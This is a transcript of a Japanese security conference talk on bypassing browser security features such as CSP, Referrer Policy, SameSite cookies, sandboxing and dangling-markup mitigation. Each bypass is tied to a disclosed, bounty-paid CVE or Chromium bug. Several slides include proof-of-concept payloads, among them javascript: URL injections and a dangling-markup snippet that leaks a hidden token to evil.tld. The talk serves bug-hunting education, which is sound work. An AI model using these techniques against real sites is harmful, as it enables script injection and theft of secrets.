ブラウザセキュリティ機能は バイパスされる為にある

Transcript

1. ブラウザセキュリティ機能は バイパスされる為にある 小勝純 @shhnjk

2. Agenda <script>time_remaining = true;</script> while(time_remaining) { • 機能説明 • バイパス

   }

3. ＊-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある

4. ＊-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある オリジンが継承される所とは： • Blob URL •

   Javascript URL • about:blank • iframe srcdoc など

5. Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’;

6. Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’; 正しいNonceが指定されたスクリプトのみ許可 Content-Security-Policy:

   script-src ‘nonce-ramdom’; <script nonce=”random”>alert(1) // allowed</script> <script nonce=”guess”>alert(1) // blocked</script>

7. CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1))

8. CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1)) 以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た https://victim.tld/vulnerable_endpoint.html#javascript:alert(1) CVE-2018-4118

9. CSPのバイパス２ 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”)

10. CSPのバイパス２ 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”);

    location.href=”//victim.tld/robots.txt”

11. CSPのバイパス２ 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick =

    () => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”

12. CSPのバイパス２ 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick =

    () => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されて いない場合はChromeとSafariでバイパスが可能 だった CVE-2017-15387: $1000 each No CSP

13. Referrer Policyとは Referrerをどんな場合に送るかを指定出来るセキュリティ機能 Referrerを常に送信しない Referrer-Policy: no-referrer 同一オリジンへのリクエストに対してのみ Referrerを送る Referrer-Policy: same-origin

14. Referrer Policyのバイパス about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった Referrer-Policy: no-referrer w = window.open("about:blank"); w.document.write("<img

    src=https://evil.tld>"); CVE-2018-6048: $500

15. CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>

16. CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>

    allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなる オリジンが変わってもURLは変わらない為、色々なバグが発生する

17. Service WorkerとCSPサンドボックスの問題 Service Workerが登録されたオリジン内のリクエストは Service Workerを 経由する様になる navigator.serviceWorker. register(“sw.js”); fetch(“/”);

    self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); })

18. Service WorkerとCSPサンドボックスの問題 ChromeではCSPサンドボックスされたページからのリクエストも Service Workerを経由して しまっていた為、サンドボックス外のオリジンの情報が取得出来た CVE-2019-5811: $2000 alert(self.origin); //

    null fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); }) https://victim.tld/sandbox

19. SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict

20. SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict Laxはトップレベルナビゲーションのみクロスサイトからでも送られる ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない

    Set-Cookie: secret=2; SameSite=Lax

21. SameSite Strictのバイパス rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、 SameSiteクッキーまでもが送られてしまっていた <a href="https://victim.tld/" rel="noopener" target="_blank">CSRF</a> https://crbug.com/830091: $2000

22. SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie

    クロスサイトから埋め込まれても送られない

23. SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie

    https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られない トップフレームが同一サイトだと送られていた CVE-2018-18351: $1000

24. Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5735596811091968 <!-- injecion --> <img

    src=’https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> ユーザの関与なしに送られるリクエストのみを対象としている

25. Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリク エストには改行が存在しなくなる <!-- injecion

    --> <iframe src=’data:text/html,<img src=”https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> https://crbug.com/749852 : $500

26. クロスオリジン<a download>の無効化 クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeの セキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 <a href=”https://victim.tld” download>Navigate instead

    of download</a> クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf

27. クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複

28. クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複

    一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション に変更する為、様々なバグを生み出してくれる

29. クロスオリジンframebustingのブロック ユーザの関与がないクロスオリジンな framebustingをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5851021045661696 https://victim.tld https://evil.tld top.location.href = “phish”;

30. クロスオリジンframebustingのブロックのバイパス ダウンロードリクエストがリダイレクトしナビゲーションに変わる際、 どのフレームがリクエストを開始したかの情報が伝わっておらず、 条件なしでトップフレームがナビゲートされてしまっていた https://victim.tld https://evil.tld <a href=”redirect?url=//phish.tld” id=”link” download>go</a>

    link.click(); CVE-2019-5822: $500

31. 伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない

32. 伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない

33. 伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい

34. 伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい • 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある

35. Import Mapsで何をバイパスできるか考えてみよう <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage",

    "/path/to/kv-storage-polyfill.mjs" ] }} </script> <script type="module"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; </script> https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス 出来ます！考えてみましょう！ ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は 次のスクリプトを読み込んでくれるマップ

36. CSPのバイパス３ Content-Security-Policy: script-src: ‘nonce-random’; <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs":

    [ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }}</script> <script type="module" nonce="random"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; storage.set('test', '1'); // alert(1) </script> Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解！

37. Questions? https://victim.tld/agenda.html?fake_xss=<script>time_remaining = true;</script> <script>time_remaining = true;</script> while(time_remaining) { •

    機能説明 • バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not defined